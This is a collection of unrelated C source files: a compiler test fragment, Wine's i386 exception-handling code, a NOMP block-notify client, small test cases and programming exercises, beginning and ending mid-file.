// CHECK-NEXT: ne u1 i32 (dread i32 %b_21_3, constval i32 0))) {
// CHECK-NEXT: }
if (func1() || a || b) {
}
// CHECK: dassign %shortCircuit_[[# IDX:]] 0 (ne u1 i32 (dread i32 %c_21_3, constval i32 0))
// CHECK-NEXT: brtrue @shortCircuit_label_[[# IDX:]] (dread i32 %shortCircuit_[[# IDX:]])
// CHECK-NEXT: callassigned &func1 () { dassign %retVar_[[# IDX:]] 0 }
// CHECK-NEXT: dassign %shortCircuit_[[# IDX:]] 0 (ne u1 i32 (dread i32 %retVar_[[# IDX:]], constval i32 0))
// CHECK-NEXT: @shortCircuit_label_[[# IDX:]] if (cior i32 (
// CHECK-NEXT: cior i32 (
// CHECK-NEXT: ne u1 i32 (dread i32 %shortCircuit_[[# IDX:]], constval i32 0),
// CHECK-NEXT: ne u1 i32 (dread i32 %a_21_3, constval i32 0)),
// CHECK-NEXT: ne u1 i32 (dread i32 %b_21_3, constval i32 0))) {
// CHECK-NEXT: }
if (c || func1() || a || b) {
}
return 0;
}
|
the_stack_data/31388068.c | /*
* i386 signal handling routines
*
* Copyright 1999 Alexandre Julliard
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef __i386__
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/types.h>
#include "ntstatus.h"
#define WIN32_NO_STATUS
#include "windef.h"
#include "ntdll_misc.h"
#include "wine/exception.h"
#include "wine/debug.h"
WINE_DEFAULT_DEBUG_CHANNEL(seh);
struct x86_thread_data
{
DWORD fs; /* 1d4 TEB selector */
DWORD gs; /* 1d8 libc selector; update winebuild if you move this! */
DWORD dr0; /* 1dc debug registers */
DWORD dr1; /* 1e0 */
DWORD dr2; /* 1e4 */
DWORD dr3; /* 1e8 */
DWORD dr6; /* 1ec */
DWORD dr7; /* 1f0 */
void *exit_frame; /* 1f4 exit frame pointer */
};
C_ASSERT( sizeof(struct x86_thread_data) <= 16 * sizeof(void *) );
C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct x86_thread_data, gs ) == 0x1d8 );
C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct x86_thread_data, exit_frame ) == 0x1f4 );
static inline struct x86_thread_data *x86_thread_data(void)
{
return (struct x86_thread_data *)&NtCurrentTeb()->GdiTebBatch;
}
struct ldt_copy *__wine_ldt_copy = NULL;
/* Exception record for handling exceptions happening inside exception handlers */
typedef struct
{
EXCEPTION_REGISTRATION_RECORD frame;
EXCEPTION_REGISTRATION_RECORD *prevFrame;
} EXC_NESTED_FRAME;
extern DWORD EXC_CallHandler( EXCEPTION_RECORD *record, EXCEPTION_REGISTRATION_RECORD *frame,
CONTEXT *context, EXCEPTION_REGISTRATION_RECORD **dispatcher,
PEXCEPTION_HANDLER handler, PEXCEPTION_HANDLER nested_handler );
/*******************************************************************
* is_valid_frame
*/
static inline BOOL is_valid_frame( void *frame )
{
if ((ULONG_PTR)frame & 3) return FALSE;
return (frame >= NtCurrentTeb()->Tib.StackLimit &&
(void **)frame < (void **)NtCurrentTeb()->Tib.StackBase - 1);
}
/*******************************************************************
* raise_handler
*
* Handler for exceptions happening inside a handler.
*/
static DWORD raise_handler( EXCEPTION_RECORD *rec, EXCEPTION_REGISTRATION_RECORD *frame,
CONTEXT *context, EXCEPTION_REGISTRATION_RECORD **dispatcher )
{
if (rec->ExceptionFlags & (EH_UNWINDING | EH_EXIT_UNWIND))
return ExceptionContinueSearch;
/* We shouldn't get here so we store faulty frame in dispatcher */
*dispatcher = ((EXC_NESTED_FRAME*)frame)->prevFrame;
return ExceptionNestedException;
}
/*******************************************************************
* unwind_handler
*
* Handler for exceptions happening inside an unwind handler.
*/
static DWORD unwind_handler( EXCEPTION_RECORD *rec, EXCEPTION_REGISTRATION_RECORD *frame,
CONTEXT *context, EXCEPTION_REGISTRATION_RECORD **dispatcher )
{
if (!(rec->ExceptionFlags & (EH_UNWINDING | EH_EXIT_UNWIND)))
return ExceptionContinueSearch;
/* We shouldn't get here so we store faulty frame in dispatcher */
*dispatcher = ((EXC_NESTED_FRAME*)frame)->prevFrame;
return ExceptionCollidedUnwind;
}
/**********************************************************************
* call_stack_handlers
*
* Call the stack handlers chain.
*/
static NTSTATUS call_stack_handlers( EXCEPTION_RECORD *rec, CONTEXT *context )
{
EXCEPTION_REGISTRATION_RECORD *frame, *dispatch, *nested_frame;
DWORD res;
frame = NtCurrentTeb()->Tib.ExceptionList;
nested_frame = NULL;
while (frame != (EXCEPTION_REGISTRATION_RECORD*)~0UL)
{
/* Check frame address */
if (!is_valid_frame( frame ))
{
rec->ExceptionFlags |= EH_STACK_INVALID;
break;
}
/* Call handler */
TRACE( "calling handler at %p code=%x flags=%x\n",
frame->Handler, rec->ExceptionCode, rec->ExceptionFlags );
res = EXC_CallHandler( rec, frame, context, &dispatch, frame->Handler, raise_handler );
TRACE( "handler at %p returned %x\n", frame->Handler, res );
if (frame == nested_frame)
{
/* no longer nested */
nested_frame = NULL;
rec->ExceptionFlags &= ~EH_NESTED_CALL;
}
switch(res)
{
case ExceptionContinueExecution:
if (!(rec->ExceptionFlags & EH_NONCONTINUABLE)) return STATUS_SUCCESS;
return STATUS_NONCONTINUABLE_EXCEPTION;
case ExceptionContinueSearch:
break;
case ExceptionNestedException:
if (nested_frame < dispatch) nested_frame = dispatch;
rec->ExceptionFlags |= EH_NESTED_CALL;
break;
default:
return STATUS_INVALID_DISPOSITION;
}
frame = frame->Prev;
}
return STATUS_UNHANDLED_EXCEPTION;
}
/*******************************************************************
* KiUserExceptionDispatcher (NTDLL.@)
*/
NTSTATUS WINAPI dispatch_exception( EXCEPTION_RECORD *rec, CONTEXT *context )
{
NTSTATUS status;
DWORD c;
TRACE( "code=%x flags=%x addr=%p ip=%08x tid=%04x\n",
rec->ExceptionCode, rec->ExceptionFlags, rec->ExceptionAddress,
context->Eip, GetCurrentThreadId() );
for (c = 0; c < rec->NumberParameters; c++)
TRACE( " info[%d]=%08lx\n", c, rec->ExceptionInformation[c] );
if (rec->ExceptionCode == EXCEPTION_WINE_STUB)
{
if (rec->ExceptionInformation[1] >> 16)
MESSAGE( "wine: Call from %p to unimplemented function %s.%s, aborting\n",
rec->ExceptionAddress,
(char*)rec->ExceptionInformation[0], (char*)rec->ExceptionInformation[1] );
else
MESSAGE( "wine: Call from %p to unimplemented function %s.%ld, aborting\n",
rec->ExceptionAddress,
(char*)rec->ExceptionInformation[0], rec->ExceptionInformation[1] );
}
else if (rec->ExceptionCode == EXCEPTION_WINE_NAME_THREAD && rec->ExceptionInformation[0] == 0x1000)
{
WARN( "Thread %04x renamed to %s\n", (DWORD)rec->ExceptionInformation[2], debugstr_a((char *)rec->ExceptionInformation[1]) );
}
else if (rec->ExceptionCode == DBG_PRINTEXCEPTION_C)
{
WARN( "%s\n", debugstr_an((char *)rec->ExceptionInformation[1], rec->ExceptionInformation[0] - 1) );
}
else if (rec->ExceptionCode == DBG_PRINTEXCEPTION_WIDE_C)
{
WARN( "%s\n", debugstr_wn((WCHAR *)rec->ExceptionInformation[1], rec->ExceptionInformation[0] - 1) );
}
else
{
if (rec->ExceptionCode == STATUS_ASSERTION_FAILURE)
ERR( "%s exception (code=%x) raised\n", debugstr_exception_code(rec->ExceptionCode), rec->ExceptionCode );
else
WARN( "%s exception (code=%x) raised\n", debugstr_exception_code(rec->ExceptionCode), rec->ExceptionCode );
TRACE(" eax=%08x ebx=%08x ecx=%08x edx=%08x esi=%08x edi=%08x\n",
context->Eax, context->Ebx, context->Ecx,
context->Edx, context->Esi, context->Edi );
TRACE(" ebp=%08x esp=%08x cs=%04x ds=%04x es=%04x fs=%04x gs=%04x flags=%08x\n",
context->Ebp, context->Esp, context->SegCs, context->SegDs,
context->SegEs, context->SegFs, context->SegGs, context->EFlags );
}
if (call_vectored_handlers( rec, context ) == EXCEPTION_CONTINUE_EXECUTION)
NtContinue( context, FALSE );
if ((status = call_stack_handlers( rec, context )) == STATUS_SUCCESS)
NtContinue( context, FALSE );
if (status != STATUS_UNHANDLED_EXCEPTION) RtlRaiseStatus( status );
return NtRaiseException( rec, context, FALSE );
}
__ASM_STDCALL_FUNC( KiUserExceptionDispatcher, 8,
"pushl 4(%esp)\n\t"
"pushl 4(%esp)\n\t"
"call " __ASM_STDCALL("dispatch_exception", 8) "\n\t"
"int3" )
/*******************************************************************
* KiUserApcDispatcher (NTDLL.@)
*/
void WINAPI KiUserApcDispatcher( CONTEXT *context, ULONG_PTR ctx, ULONG_PTR arg1, ULONG_PTR arg2,
PNTAPCFUNC func )
{
func( ctx, arg1, arg2 );
NtContinue( context, TRUE );
}
/***********************************************************************
* save_fpu
*
* Save the thread FPU context.
*/
static inline void save_fpu( CONTEXT *context )
{
#ifdef __GNUC__
struct
{
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
}
float_status;
context->ContextFlags |= CONTEXT_FLOATING_POINT;
__asm__ __volatile__( "fnsave %0; fwait" : "=m" (context->FloatSave) );
/* Reset unmasked exceptions status to avoid firing an exception. */
memcpy(&float_status, &context->FloatSave, sizeof(float_status));
float_status.StatusWord &= float_status.ControlWord | 0xffffff80;
__asm__ __volatile__( "fldenv %0" : : "m" (float_status) );
#endif
}
/***********************************************************************
* save_fpux
*
* Save the thread FPU extended context.
*/
static inline void save_fpux( CONTEXT *context )
{
#ifdef __GNUC__
/* we have to enforce alignment by hand */
char buffer[sizeof(XSAVE_FORMAT) + 16];
XSAVE_FORMAT *state = (XSAVE_FORMAT *)(((ULONG_PTR)buffer + 15) & ~15);
context->ContextFlags |= CONTEXT_EXTENDED_REGISTERS;
__asm__ __volatile__( "fxsave %0" : "=m" (*state) );
memcpy( context->ExtendedRegisters, state, sizeof(*state) );
#endif
}
/***********************************************************************
* RtlCaptureContext (NTDLL.@)
*/
__ASM_STDCALL_FUNC( RtlCaptureContext, 4,
"pushl %eax\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
"movl 8(%esp),%eax\n\t" /* context */
"movl $0x10007,(%eax)\n\t" /* context->ContextFlags */
"movw %gs,0x8c(%eax)\n\t" /* context->SegGs */
"movw %fs,0x90(%eax)\n\t" /* context->SegFs */
"movw %es,0x94(%eax)\n\t" /* context->SegEs */
"movw %ds,0x98(%eax)\n\t" /* context->SegDs */
"movl %edi,0x9c(%eax)\n\t" /* context->Edi */
"movl %esi,0xa0(%eax)\n\t" /* context->Esi */
"movl %ebx,0xa4(%eax)\n\t" /* context->Ebx */
"movl %edx,0xa8(%eax)\n\t" /* context->Edx */
"movl %ecx,0xac(%eax)\n\t" /* context->Ecx */
"movl 0(%ebp),%edx\n\t"
"movl %edx,0xb4(%eax)\n\t" /* context->Ebp */
"movl 4(%ebp),%edx\n\t"
"movl %edx,0xb8(%eax)\n\t" /* context->Eip */
"movw %cs,0xbc(%eax)\n\t" /* context->SegCs */
"pushfl\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
"popl 0xc0(%eax)\n\t" /* context->EFlags */
__ASM_CFI(".cfi_adjust_cfa_offset -4\n\t")
"leal 8(%ebp),%edx\n\t"
"movl %edx,0xc4(%eax)\n\t" /* context->Esp */
"movw %ss,0xc8(%eax)\n\t" /* context->SegSs */
"popl 0xb0(%eax)\n\t" /* context->Eax */
__ASM_CFI(".cfi_adjust_cfa_offset -4\n\t")
"ret $4" )
/*******************************************************************
* RtlUnwind (NTDLL.@)
*/
void WINAPI DECLSPEC_HIDDEN __regs_RtlUnwind( EXCEPTION_REGISTRATION_RECORD* pEndFrame, PVOID targetIp,
PEXCEPTION_RECORD pRecord, PVOID retval, CONTEXT *context )
{
EXCEPTION_RECORD record;
EXCEPTION_REGISTRATION_RECORD *frame, *dispatch;
DWORD res;
context->Eax = (DWORD)retval;
/* build an exception record, if we do not have one */
if (!pRecord)
{
record.ExceptionCode = STATUS_UNWIND;
record.ExceptionFlags = 0;
record.ExceptionRecord = NULL;
record.ExceptionAddress = (void *)context->Eip;
record.NumberParameters = 0;
pRecord = &record;
}
pRecord->ExceptionFlags |= EH_UNWINDING | (pEndFrame ? 0 : EH_EXIT_UNWIND);
TRACE( "code=%x flags=%x\n", pRecord->ExceptionCode, pRecord->ExceptionFlags );
TRACE( "eax=%08x ebx=%08x ecx=%08x edx=%08x esi=%08x edi=%08x\n",
context->Eax, context->Ebx, context->Ecx, context->Edx, context->Esi, context->Edi );
TRACE( "ebp=%08x esp=%08x eip=%08x cs=%04x ds=%04x fs=%04x gs=%04x flags=%08x\n",
context->Ebp, context->Esp, context->Eip, LOWORD(context->SegCs), LOWORD(context->SegDs),
LOWORD(context->SegFs), LOWORD(context->SegGs), context->EFlags );
/* get chain of exception frames */
frame = NtCurrentTeb()->Tib.ExceptionList;
while ((frame != (EXCEPTION_REGISTRATION_RECORD*)~0UL) && (frame != pEndFrame))
{
/* Check frame address */
if (pEndFrame && (frame > pEndFrame))
raise_status( STATUS_INVALID_UNWIND_TARGET, pRecord );
if (!is_valid_frame( frame )) raise_status( STATUS_BAD_STACK, pRecord );
/* Call handler */
TRACE( "calling handler at %p code=%x flags=%x\n",
frame->Handler, pRecord->ExceptionCode, pRecord->ExceptionFlags );
res = EXC_CallHandler( pRecord, frame, context, &dispatch, frame->Handler, unwind_handler );
TRACE( "handler at %p returned %x\n", frame->Handler, res );
switch(res)
{
case ExceptionContinueSearch:
break;
case ExceptionCollidedUnwind:
frame = dispatch;
break;
default:
raise_status( STATUS_INVALID_DISPOSITION, pRecord );
break;
}
frame = __wine_pop_frame( frame );
}
NtContinue( context, FALSE );
}
__ASM_STDCALL_FUNC( RtlUnwind, 16,
"pushl %ebp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
"movl %esp,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa_register %ebp\n\t")
"leal -(0x2cc+8)(%esp),%esp\n\t" /* sizeof(CONTEXT) + alignment */
"pushl %eax\n\t"
"leal 4(%esp),%eax\n\t" /* context */
"xchgl %eax,(%esp)\n\t"
"call " __ASM_STDCALL("RtlCaptureContext",4) "\n\t"
"leal 24(%ebp),%eax\n\t"
"movl %eax,0xc4(%esp)\n\t" /* context->Esp */
"pushl %esp\n\t"
"pushl 20(%ebp)\n\t"
"pushl 16(%ebp)\n\t"
"pushl 12(%ebp)\n\t"
"pushl 8(%ebp)\n\t"
"call " __ASM_STDCALL("__regs_RtlUnwind",20) "\n\t"
"leave\n\t"
__ASM_CFI(".cfi_def_cfa %esp,4\n\t")
__ASM_CFI(".cfi_same_value %ebp\n\t")
"ret $16" ) /* actually never returns */
/*******************************************************************
* raise_exception_full_context
*
* Raise an exception with the full CPU context.
*/
void raise_exception_full_context( EXCEPTION_RECORD *rec, CONTEXT *context )
{
save_fpu( context );
save_fpux( context );
/* FIXME: xstate */
context->Dr0 = x86_thread_data()->dr0;
context->Dr1 = x86_thread_data()->dr1;
context->Dr2 = x86_thread_data()->dr2;
context->Dr3 = x86_thread_data()->dr3;
context->Dr6 = x86_thread_data()->dr6;
context->Dr7 = x86_thread_data()->dr7;
context->ContextFlags |= CONTEXT_DEBUG_REGISTERS;
RtlRaiseStatus( NtRaiseException( rec, context, TRUE ));
}
/***********************************************************************
* RtlRaiseException (NTDLL.@)
*/
__ASM_STDCALL_FUNC( RtlRaiseException, 4,
"pushl %ebp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
"movl %esp,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa_register %ebp\n\t")
"leal -0x2cc(%esp),%esp\n\t" /* sizeof(CONTEXT) */
"pushl %esp\n\t" /* context */
"call " __ASM_STDCALL("RtlCaptureContext",4) "\n\t"
"movl 4(%ebp),%eax\n\t" /* return address */
"movl 8(%ebp),%ecx\n\t" /* rec */
"movl %eax,12(%ecx)\n\t" /* rec->ExceptionAddress */
"leal 12(%ebp),%eax\n\t"
"movl %eax,0xc4(%esp)\n\t" /* context->Esp */
"movl %esp,%eax\n\t"
"pushl %eax\n\t"
"pushl %ecx\n\t"
"call " __ASM_NAME("raise_exception_full_context") "\n\t"
"leave\n\t"
__ASM_CFI(".cfi_def_cfa %esp,4\n\t")
__ASM_CFI(".cfi_same_value %ebp\n\t")
"ret $4" ) /* actually never returns */
/*************************************************************************
* RtlCaptureStackBackTrace (NTDLL.@)
*/
USHORT WINAPI RtlCaptureStackBackTrace( ULONG skip, ULONG count, PVOID *buffer, ULONG *hash )
{
CONTEXT context;
ULONG i;
ULONG *frame;
RtlCaptureContext( &context );
if (hash) *hash = 0;
frame = (ULONG *)context.Ebp;
while (skip--)
{
if (!is_valid_frame( frame )) return 0;
frame = (ULONG *)*frame;
}
for (i = 0; i < count; i++)
{
if (!is_valid_frame( frame )) break;
buffer[i] = (void *)frame[1];
if (hash) *hash += frame[1];
frame = (ULONG *)*frame;
}
return i;
}
/***********************************************************************
* signal_start_thread
*/
__ASM_GLOBAL_FUNC( signal_start_thread,
"movl 4(%esp),%esi\n\t" /* context */
"leal -12(%esi),%edi\n\t"
/* clear the thread stack */
"andl $~0xfff,%edi\n\t" /* round down to page size */
"movl $0xf0000,%ecx\n\t"
"subl %ecx,%edi\n\t"
"movl %edi,%esp\n\t"
"xorl %eax,%eax\n\t"
"shrl $2,%ecx\n\t"
"rep; stosl\n\t"
/* switch to the initial context */
"leal -12(%esi),%esp\n\t"
"movl $1,4(%esp)\n\t"
"movl %esi,(%esp)\n\t"
"call " __ASM_STDCALL("NtContinue", 8) )
/**********************************************************************
* DbgBreakPoint (NTDLL.@)
*/
__ASM_STDCALL_FUNC( DbgBreakPoint, 0, "int $3; ret"
"\n\tnop; nop; nop; nop; nop; nop; nop; nop"
"\n\tnop; nop; nop; nop; nop; nop" );
/**********************************************************************
* DbgUserBreakPoint (NTDLL.@)
*/
__ASM_STDCALL_FUNC( DbgUserBreakPoint, 0, "int $3; ret"
"\n\tnop; nop; nop; nop; nop; nop; nop; nop"
"\n\tnop; nop; nop; nop; nop; nop" );
/**********************************************************************
* NtCurrentTeb (NTDLL.@)
*/
__ASM_STDCALL_FUNC( NtCurrentTeb, 0, ".byte 0x64\n\tmovl 0x18,%eax\n\tret" )
/**************************************************************************
* _chkstk (NTDLL.@)
*/
__ASM_GLOBAL_FUNC( _chkstk,
"negl %eax\n\t"
"addl %esp,%eax\n\t"
"xchgl %esp,%eax\n\t"
"movl 0(%eax),%eax\n\t" /* copy return address from old location */
"movl %eax,0(%esp)\n\t"
"ret" )
/**************************************************************************
* _alloca_probe (NTDLL.@)
*/
__ASM_GLOBAL_FUNC( _alloca_probe,
"negl %eax\n\t"
"addl %esp,%eax\n\t"
"xchgl %esp,%eax\n\t"
"movl 0(%eax),%eax\n\t" /* copy return address from old location */
"movl %eax,0(%esp)\n\t"
"ret" )
/**********************************************************************
* EXC_CallHandler (internal)
*
* Some exception handlers depend on EBP to have a fixed position relative to
* the exception frame.
* Shrinker depends on (*1) doing what it does,
* (*2) being the exact instruction it is and (*3) beginning with 0x64
* (i.e. the %fs prefix to the movl instruction). It also depends on the
* function calling the handler having only 5 parameters (*4).
*/
__ASM_GLOBAL_FUNC( EXC_CallHandler,
"pushl %ebp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
"movl %esp,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa_register %ebp\n\t")
"pushl %ebx\n\t"
__ASM_CFI(".cfi_rel_offset %ebx,-4\n\t")
"movl 28(%ebp), %edx\n\t" /* ugly hack to pass the 6th param needed because of Shrinker */
"pushl 24(%ebp)\n\t"
"pushl 20(%ebp)\n\t"
"pushl 16(%ebp)\n\t"
"pushl 12(%ebp)\n\t"
"pushl 8(%ebp)\n\t"
"call " __ASM_NAME("call_exception_handler") "\n\t"
"popl %ebx\n\t"
__ASM_CFI(".cfi_same_value %ebx\n\t")
"leave\n"
__ASM_CFI(".cfi_def_cfa %esp,4\n\t")
__ASM_CFI(".cfi_same_value %ebp\n\t")
"ret" )
__ASM_GLOBAL_FUNC(call_exception_handler,
"pushl %ebp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
"movl %esp,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa_register %ebp\n\t")
"subl $12,%esp\n\t"
"pushl 12(%ebp)\n\t" /* make any exceptions in this... */
"pushl %edx\n\t" /* handler be handled by... */
".byte 0x64\n\t"
"pushl (0)\n\t" /* nested_handler (passed in edx). */
".byte 0x64\n\t"
"movl %esp,(0)\n\t" /* push the new exception frame onto the exception stack. */
"pushl 20(%ebp)\n\t"
"pushl 16(%ebp)\n\t"
"pushl 12(%ebp)\n\t"
"pushl 8(%ebp)\n\t"
"movl 24(%ebp), %ecx\n\t" /* (*1) */
"call *%ecx\n\t" /* call handler. (*2) */
".byte 0x64\n\t"
"movl (0), %esp\n\t" /* restore previous... (*3) */
".byte 0x64\n\t"
"popl (0)\n\t" /* exception frame. */
"movl %ebp, %esp\n\t" /* restore saved stack, in case it was corrupted */
"popl %ebp\n\t"
__ASM_CFI(".cfi_def_cfa %esp,4\n\t")
__ASM_CFI(".cfi_same_value %ebp\n\t")
"ret $20" ) /* (*4) */
#endif /* __i386__ */
|
the_stack_data/121723.c | #include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
/*
Contributed by Alex Petrov aka SysMan at sysman.net
Updated by Alejandro Reyero - TodoJuegos.com
Part of NOMP project
Simple lightweight & fast - a more efficient block notify script in pure C.
(may also work as coin switch)
Platforms : Linux, BSD, Solaris (mostly OS independent)
Build with:
gcc blocknotify.c -o blocknotify
strip blocknotify
Example usage in daemon coin.conf using default NOMP CLI port of 17117
blocknotify="/bin/blocknotify 127.0.0.1:17117 bcrm %s"
*/
int main(int argc, char **argv)
{
int sockfd,n;
struct sockaddr_in servaddr, cliaddr;
char sendline[1000];
char recvline[1000];
char host[200];
char *p, *arg, *errptr;
int port;
if (argc < 3)
{
// print help
printf("NOMP pool block notify\n usage: <host:port> <coin> <block>\n");
exit(1);
}
strncpy(host, argv[1], (sizeof(host)-1));
p = host;
if ( (arg = strchr(p,':')) )
{
*arg = '\0';
errno = 0; // reset errno
port = strtol(++arg, &errptr, 10);
if ( (errno != 0) || (errptr == arg) )
{
fprintf(stderr, "port number fail [%s]\n", errptr);
}
}
snprintf(sendline, sizeof(sendline) - 1, "{\"command\":\"blocknotify\",\"params\":[\"%s\",\"%s\"]}\n", argv[2], argv[3]);
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(host);
servaddr.sin_port = htons(port);
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
int result = send(sockfd, sendline, strlen(sendline), 0);
close(sockfd);
if(result == -1) {
printf("Error sending: %i\n", errno);
exit(-1);
}
exit(0);
}
|
the_stack_data/1258859.c | void die(void);
int foo(int c)
{
if (c)
return 1;
die();
__builtin_unreachable();
}
/*
* check-name: builtin_unreachable1
* check-command: test-linearize -Wno-decl $file
*
* check-output-start
foo:
.L0:
<entry-point>
cbr %arg1, .L3, .L2
.L3:
ret.32 $1
.L2:
call die
unreachable
* check-output-end
*/
|
the_stack_data/82950664.c | /* Return the first pixel in the first blob encountered
* in a frame when scaning top to bottom & left to right.
*
* B.A.Shepherd, 1984.
*/
#define POSPIC 0
#define NEGPIC 1
int find_blob(bf,xdim,ydim,x,y)
unsigned char *bf ;
int *x,*y,xdim,ydim;
{
register unsigned char *rbp,*picbot ;
rbp = bf ;
picbot = rbp + xdim*ydim ;
while ((*rbp <= 0 ) && (rbp < picbot)) rbp++ ;
if (rbp >= picbot)
return(0); /* no blob found! */
*x = (rbp-bf) % xdim ;
*y = (rbp-bf) / xdim ;
return(1); /* blob found */
}
/* same as above but starts its search from (x,y) */
int next_blob(bf,xdim,ydim,x,y)
unsigned char *bf ;
int *x,*y,xdim,ydim;
{
register unsigned char *rbp,*picbot ;
picbot = bf + xdim*ydim ;
rbp = bf + (*y) * xdim + (*x) ;
while ((*rbp <= 0 ) && (rbp < picbot)) rbp++ ;
if (rbp >= picbot)
return(0); /* no blob found! */
*x = (rbp-bf) % xdim ;
*y = (rbp-bf) / xdim ;
return(1); /* blob found */
}
|
the_stack_data/32949158.c | /* Copyright (C) 2008-2017 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* This is only ever run if it is compiled with a new-enough GCC, but
we don't want the compilation to fail if compiled by some other
compiler. */
#ifdef __GNUC__
#define ATTR __attribute__((always_inline))
#else
#define ATTR
#endif
int x, y;
volatile int z = 0;
volatile int result;
void bar(void);
void marker(void);
void noinline(void);
inline ATTR int func1(void)
{
bar ();
return x * y;
}
inline ATTR int func2(void)
{
return x * func1 ();
}
inline ATTR void func3(void)
{
bar ();
}
inline ATTR void outer_inline1(void)
{
noinline ();
}
inline ATTR void outer_inline2(void)
{
outer_inline1 ();
}
int main (void)
{ /* start of main */
int val;
x = 7;
y = 8; /* set mi break here */
result = func1 ();
result = func2 ();
marker ();
result = 0;
result = 0; /* set breakpoint 3 here */
func1 (); /* first call */
func1 (); /* second call */
marker ();
result = 0;
result = 0; /* set breakpoint 4 here */
func1 ();
func3 ();
marker ();
result = 0;
result = 0; /* set breakpoint 5 here */
marker ();
func1 ();
func3 ();
marker (); /* set breakpoint 6 here */
outer_inline2 ();
return 0;
}
|
the_stack_data/1231193.c | #include <stdio.h>
#include <stdlib.h>
void main()
{
/*
Crie um algoritmo que leia dois valores e depois crie um menu usando Switch Case de 4 opções: soma, subtração,divisão,multiplicação. Depois que o usuário escolher uma opção, mostre o resultado da operação escolhida com os dois valores lidos.
*/
float v1, v2;
int opcao;
printf("\nMENU OPERACOES");
printf("\n-----------------\n");
printf("\n[1] SOMAR");
printf("\n[2] SUBTRAIR");
printf("\n[3] MULTIPLICAR");
printf("\n[4] DIVIDIR");
printf("\n[5] DIFERENCA");
printf("\n\n");
scanf("%d", &opcao);
switch (opcao)
{
case 1:
printf("\nDigite um valor: ");
scanf("%f", &v1);
printf("\nDigite outro valor: ");
scanf("%f", &v2);
printf("\nA soma de %.2f + %.2f = %.2f", v1, v2, v1+v2);
break;
case 2:
printf("\nDigite um valor: ");
scanf("%f", &v1);
printf("\nDigite outro valor: ");
scanf("%f", &v2);
printf("\nA subtracao de %.2f - %.2f = %.2f", v1, v2, v1 - v2);
break;
case 3:
printf("\nDigite um valor: ");
scanf("%f", &v1);
printf("\nDigite outro valor: ");
scanf("%f", &v2);
printf("\nA multiplicacao de %.2f * %.2f = %.2f", v1, v2, v1 * v2);
break;
case 4:
printf("\nDigite um valor: ");
scanf("%f", &v1);
printf("\nDigite outro valor: ");
scanf("%f", &v2);
printf("\nA divisao de %.2f / %.2f = %.2f", v1, v2, v1 / v2);
break;
case 5:
printf("\nDigite um valor: ");
scanf("%f", &v1);
printf("\nDigite outro valor: ");
scanf("%f", &v2);
printf("\nA diferenca entre os valores %.2f e %.2f = %d", v1, v2, abs(v1 -v2));
break;
default:
printf("\nOPCAO INVALIDA!");
break;
}
printf("\n\n");
} |
the_stack_data/76699115.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_print_reverse_alphabet.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: esuguimo <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/10/08 15:02:22 by esuguimo #+# #+# */
/* Updated: 2019/10/08 15:28:06 by esuguimo ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void ft_print_reverse_alphabet(void)
{
int c;
c = 122;
while (c >= 97)
{
write(1, &c, 1);
c--;
}
}
|
the_stack_data/184519097.c | /**
* Chapter: 2
* Exercise: 2-08 - Write a function rightrot(x,n) that returns the value of the integer x rotated to the right by n bit positions.
**/
#include <stdio.h>
unsigned rightrot(unsigned x, int n);
int wordlength(void);
int main(void) {
unsigned x = 0x5;
int n = 8;
printf("word length: %i\n", wordlength());
printf("x (after rotate): %u\n", rightrot(x, n));
return 0;
}
/* rightrot: rotate x to the right by n positions */
unsigned rightrot(unsigned x, int n){
int rbit;
while(n-- > 0){
rbit = (x & 1) << (wordlength() -1);
x = x >> 1;
x = x | rbit;
}
return x;
}
/* wordlength: return the size of an integer */
int wordlength(void){
int x = ~0, i=0;
while (x != 0) {
x <<= 1;
++i;
}
return i;
}
|
the_stack_data/111077817.c | /* This testcase is part of GDB, the GNU debugger.
